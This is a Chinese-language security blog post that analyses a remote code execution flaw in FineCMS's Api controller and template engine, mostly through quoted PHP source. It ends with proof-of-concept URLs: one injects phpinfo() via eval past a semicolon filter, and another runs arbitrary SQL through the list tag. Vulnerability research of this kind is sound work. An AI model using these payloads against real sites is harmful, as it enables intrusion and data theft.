蛇皮安全
首发于蛇皮安全
Finecms远程代码执行漏洞分析

Finecms远程代码执行漏洞分析

这是去年闲的时候审计的,现在Finecms已经没人维护了,也没什么人用了。


=============分割线============================


/Users/luan/Downloads/123123/v5/finecms/dayrui/controllers/Api.php

      /**
         * ajax 动态调用
         */
        public function html() {
     
            ob_start();
            $this->template->cron = 0;
            $_GET['page'] = max(1, (int)$this->input->get('page'));
            $params = dr_string2array(urldecode($this->input->get('params')));
            $params['get'] = @json_decode(urldecode($this->input->get('get')), TRUE);
            $this->template->assign($params);
            $name = str_replace(array('\\', '/', '..', '<', '>'), '', dr_safe_replace($this->input->get('name', TRUE)));
            $this->template->display(strpos($name, '.html') ? $name : $name.'.html');
            $html = ob_get_contents();
            ob_clean();
     
            // 页面输出
            $format = $this->input->get('format');
            if ($format == 'html') {
                exit($html);
            } elseif ($format == 'json') {
                echo $this->callback_json(array('html' => $html));
            } elseif ($format == 'js') {
                echo 'document.write("'.addslashes(str_replace(array("\r", "\n", "\t", chr(13)), array('', '', '', ''), $html)).'");';
            } else {
                $data = $this->callback_json(array('html' => $html));
                echo dr_safe_replace(dr_safe_replace($this->input->get('callback', TRUE))).'('.$data.')';
            }
        

第50行$this->template->assign($params);

/Users/luan/Downloads/123123/v5/finecms/dayrui/libraries/Template.php

      /**
         * 设置模板变量
         */
        public function assign($key, $value = NULL) {
     
            if (!$key) {
                return FALSE;
            }
     
            if (is_array($key)) {
                foreach ($key as $k => $v) {
                    $this->_options[$k] = $v;
                }
            } else {
                $this->_options[$key] = $value;
            }
        }

把用户输入的变量都保存在_options数组中。

第54行$this->template->display(strpos($name, ‘.html’) ? $name : $name.’.html’);

      /**
         * 输出模板
         *
         * @param	string	$_name		模板文件名称(含扩展名)
         * @param	string	$_dir		模型名称
         * @return  void
         */
        public function display($_name, $_dir = NULL) {
     
            // 处理变量
            $this->_options['ci'] = $this->ci;
            extract($this->_options, EXTR_PREFIX_SAME, 'data');
            $this->_options = NULL;
            $this->_filename = $_name;
     
            // 加载编译后的缓存文件
            $xxxfile = $this->get_file_name($_name, $_dir);
            if (defined('SYS_DEBUG') && SYS_DEBUG) {
                echo "<!--当前页面的模板文件是:$xxxfile (本代码只在调试模式下显示)-->".PHP_EOL;
            }
            include $this->load_view_file($xxxfile);
     
            // 消毁变量
            $this->_include_file = NULL;
        }

注册了用户输入的变量。如果有变量没有初始化,就能利用,不能覆盖变量。

然后跟入load_view_file再到handle_view_file解析模板文件方法。

      /**
         * 解析模板文件
         *
         * @param	string
         * @param	string
         * @return  string
         */
        public function handle_view_file($view_content) {
     
            if (!$view_content) {
                return '';
            }
     
            // 正则表达式匹配的模板标签
            $regex_array = array(
                // 站点缓存数据变量
                '#{([A-Z\-]+)\.(.+)}#U',
                // 3维数组变量
                '#{\$(\w+?)\.(\w+?)\.(\w+?)\.(\w+?)}#i',
                // 2维数组变量
                '#{\$(\w+?)\.(\w+?)\.(\w+?)}#i',
                // 1维数组变量
                '#{\$(\w+?)\.(\w+?)}#i',
                // 3维数组变量
                '#\$(\w+?)\.(\w+?)\.(\w+?)\.(\w+?)#Ui',
                // 2维数组变量
                '#\$(\w+?)\.(\w+?)\.(\w+?)#Ui',
                // 1维数组变量
                '#\$(\w+?)\.(\w+?)#Ui',
                // PHP函数
                '#{([a-z_0-9]+)\((.*)\)}#Ui',
                // PHP常量
                '#{([A-Z_]+)}#',
                // PHP变量
                '#{\$(.+?)}#i',
                // 引入模板
                '#{\s*template\s+"([\$\-_\/\w\.]+)",\s*"(.+)"\s*}#Uis',
                '#{\s*template\s+"([\$\-_\/\w\.]+)",\s*MOD_DIR\s*}#Uis',
                '#{\s*template\s+"([\$\-_\/\w\.]+)"\s*}#Uis',
                '#{\s*template\s+([\$\-_\/\w\.]+)\s*}#Uis',
                // 加载指定文件到模板
                '#{\s*load\s+"([\$\-_\/\w\.]+)"\s*}#Uis',
                '#{\s*load\s+([\$\-_\/\w\.]+)\s*}#Uis',
                // php标签
                '#{php\s+(.+?)}#is',
                // list标签
                '#{list\s+(.+?)return=(.+?)\s?}#i',
                '#{list\s+(.+?)\s?}#i',
                '#{\s?\/list\s?}#i',
                // if判断语句
                '#{\s?if\s+(.+?)\s?}#i',
                '#{\s?else\sif\s+(.+?)\s?}#i',
                '#{\s?else\s?}#i',
                '#{\s?\/if\s?}#i',
                // 循环语句
                '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?\$(\w+?)\s?}#i',
                '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?}#i',
                '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?=>\s?\$(\w+?)\s?}#i',
                '#{\s?\/loop\s?}#i',
                // 结束标记
                '#{\s?php\s?}#i',
                '#{\s?\/php\s?}#i',
                '#\?\>\s*\<\?php\s#s',
            );
     
            // 替换直接变量输出
            $replace_array = array(
                "<?php \$cache = \$this->_cache_var('\\1'); @eval('echo \$cache'.\$this->_get_var('\\2').';');unset(\$cache); ?>",
                "<?php echo \$\\1['\\2']['\\3']['\\4']; ?>",
                "<?php echo \$\\1['\\2']['\\3']; ?>",
                "<?php echo \$\\1['\\2']; ?>",
                "\$\\1['\\2']['\\3']['\\4']",
                "\$\\1['\\2']['\\3']",
                "\$\\1['\\2']",
                "<?php echo \\1(\\2); ?>",
                "<?php echo \\1; ?>",
                "<?php echo \$\\1; ?>",
                "<?php if (\$fn_include = \$this->_include(\"\\1\", \"\\2\")) include(\$fn_include); ?>",
                "<?php if (\$fn_include = \$this->_include(\"\\1\", \"MOD_DIR\")) include(\$fn_include); ?>",
                "<?php if (\$fn_include = \$this->_include(\"\\1\")) include(\$fn_include); ?>",
                "<?php if (\$fn_include = \$this->_include(\"\\1\")) include(\$fn_include); ?>",
                "<?php if (\$fn_include = \$this->_load(\"\\1\")) include(\$fn_include); ?>",
                "<?php if (\$fn_include = \$this->_load(\"\\1\")) include(\$fn_include); ?>",
                "<?php \\1 ?>",
                "<?php \$rt_\\2 = \$this->list_tag(\"\\1 return=\\2\"); if (\$rt_\\2) extract(\$rt_\\2); \$count_\\2=count(\$return_\\2); if (is_array(\$return_\\2)) { foreach (\$return_\\2 as \$key_\\2=>\$\\2) { ?>",
                "<?php \$rt = \$this->list_tag(\"\\1\"); if (\$rt) extract(\$rt); \$count=count(\$return); if (is_array(\$return)) { foreach (\$return as \$key=>\$t) { ?>",
                "<?php } } ?>",
                "<?php if (\\1) { ?>",
                "<?php } else if (\\1) { ?>",
                "<?php } else { ?>",
                "<?php } ?>",
                "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2=>\$\\3) { ?>",
                "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2) { ?>",
                "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2=>\$\\3) { ?>",
                "<?php } } ?>",
                "<?php ",
                " ?>",
                " ",
            );
     
            $view_content = preg_replace($regex_array, $replace_array, $view_content);
     
            // 兼容php5.5
            $view_content = preg_replace_callback("/_get_var\('(.*)'\)/Ui", 'php55_replace_cache_array', $view_content);
            $view_content = preg_replace_callback("/list_tag\(\"(.*)\"\)/Ui", 'php55_replace_array', $view_content);
     
            return $view_content;
        }

通过模板标签与对应php代码的关系数组,得知:
list标签对应list_tag方法。


      // list 标签解析
        public function list_tag($_params) {
     
            if (!$this->ci) {
                return NULL;
            }
     
            $system = array(
                'oot' => '', // 过期商品
                'num' => '', // 显示数量
                'form' => '', // 表单
                'page' => '', // 是否分页
                'site' => '', // 站点id
                'flag' => '', // 推荐位id
                'more' => '', // 是否显示栏目附加表
                'catid' => '', // 栏目id,支持多id
                'field' => '', // 显示字段
                'order' => '', // 排序
                'space' => '', // 空间uid
                'table' => '', // 表名变量
                'join' => '', // 关联表名
                'on' => '', // 关联表条件
                'cache' => (int)SYS_CACHE_LIST, // 默认缓存时间
                'action' => '', // 动作标识
                'return' => '', // 返回变量
                'sbpage' => '', // 不按默认分页
                'module' => '', // 模型名称
                'modelid' => defined('MOD_DIR') ? MOD_DIR : '', // 模型id
                'keyword' => '', // 关键字
                'urlrule' => '', // 自定义分页规则
                'pagesize' => '', // 自定义分页数量
            );
            $param = $where = array();
            $params = explode(' ', $_params);
            $sysadj = array('IN', 'BEWTEEN', 'BETWEEN', 'LIKE', 'NOTIN', 'NOT', 'BW');
            foreach ($params as $t) {
                $var = substr($t, 0, strpos($t, '='));
                $val = substr($t, strpos($t, '=') + 1);
                if (!$var) {
                    continue;
                }
                $val = defined($val) ? constant($val) : $val;
                if ($var == 'fid' && !$val) {
                    continue;
                }
                if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
                    $system[$var] = $val;
                } else {
                    if (preg_match('/^([A-Z_]+)(.+)/', $var, $match)) { // 筛选修饰符参数
                        $_pre = explode('_', $match[1]);
                        $_adj = '';
                        foreach ($_pre as $p) {
                            in_array($p, $sysadj) && $_adj = $p;
                        }
                        $where[] = array(
                            'adj' => $_adj,
                            'name' => $match[2],
                            'value' => $val
                        );
                    } else {
                        $where[] = array(
                            'adj' => '',
                            'name' => $var,
                            'value' => $val
                        );
                    }
                    $param[$var] = $val; // 用于特殊action
                }
            }
     
            // 替换order中的非法字符
            isset($system['order']) && $system['order'] && $system['order'] = str_ireplace(
                array('"', "'", ')', '(', ';', 'select', 'insert'),
                '',
                $system['order']
            );
     
            $action = $system['action'];
            // 当hits动作时,定位到moule动作
            $system['action'] == 'hits' && $system['action'] = 'module';
            $system['site'] = intval(!$system['site'] ? SITE_ID : $system['site']);
            $system['module'] = (string)$system['module'];
     
            // action
            switch ($system['action']) {
     
                case 'cache': // 系统缓存数据
     
                    if (!isset($param['name'])) {
                        return $this->_return($system['return'], 'name参数不存在');
                    }
     
                    $pos = strpos($param['name'], '.');
                    if ($pos !== FALSE) {
                        $_name = substr($param['name'], 0, $pos);
                        $_param = substr($param['name'], $pos + 1);
                    } else {
                        $_name = $param['name'];
                        $_param = NULL;
                    }
     
                    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                    if (!$cache) {
                        return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
                    }
     
                    if ($_param) {
                        $data = array();
                        @eval('$data=$cache'.$this->_get_var($_param).';');
                        if (!$data) {
                            return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                        }
                    } else {
                        $data = $cache;
                    }
     
                    return $this->_return($system['return'], $data, '');
                    break;
                case 'sql': // 直接sql查询
                    。。。太多了。。。


                default :
                    return $this->_return($system['return'], 'list标签必须含有参数action或者action参数错误');
                    break;
            }
        }


list_tag函数存在代码执行,之前有另一个更明显的触发点,厂商的布丁除了去掉 那个触发点的代码外,再就是在eval前做了过滤。


      public function _get_var($param) {
     
            $array = explode('.', $param);
            if (!$array) {
                return '';
            }
     
            $string = '';
            foreach ($array as $var) {
                $var = dr_safe_replace($var);
                $string.= '[';
                if (strpos($var, '$') === 0) {
                    $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
                } elseif (preg_match('/[A-Z_]+/', $var)) {
                    $string.= ''.$var.'';
                } else {
                    $string.= '\''.$var.'\'';
                }
                $string.= ']';
            }
     
            return $string;
        }

/Users/luan/Downloads/123123/v5/finecms/dayrui/helpers/function_helper.php

  /**
     * 安全过滤函数
     *
     * @param $string
     * @return string
     */
    function dr_safe_replace($string) {
        $string = str_replace('%20', '', $string);
        $string = str_replace('%27', '', $string);
        $string = str_replace('%2527', '', $string);
        $string = str_replace('*', '', $string);
        $string = str_replace('"', '&quot;', $string);
        $string = str_replace("'", '', $string);
        $string = str_replace('"', '', $string);
        $string = str_replace(';', '', $string);
        $string = str_replace('<', '&lt;', $string);
        $string = str_replace('>', '&gt;', $string);
        $string = str_replace("{", '', $string);
        $string = str_replace('}', '', $string);
        return $string;
    }

过 滤了分号导致之前的payload不能直接用,改成使用&来连接两句Php代码就OK了。

然后通过搜索list标签来找个模板文件:

/Users/luan/Downloads/123123/v5/templates/pc/default/common/search.html

                      <div class="blog-main-left">
                            <!--分页显示列表数据-->
                            {list action=sql module=$mid sql='$search_sql' page=1 pagesize=10 urlrule=$urlrule}
                            <div class="article shadow">
                                {if !IS_MOBILE}
                                <div class="article-left">
                                    <img src="{dr_thumb($t.thumb)}" style="width: 150px" />
                                </div>

Poc:

http://localhost/index.php?c=Api&m=html&name=search&format=html&params={“search_sql”:”
action=cache name=block.L]=phpinfo()&$cache[L”}

同理list_tag方法还有SQL执行:

http://localhost/index.php?c=Api&m=html&name=search&format=html&params={“search_sql”:”select user() as title”}


编辑于 2018-03-30

文章被以下专栏收录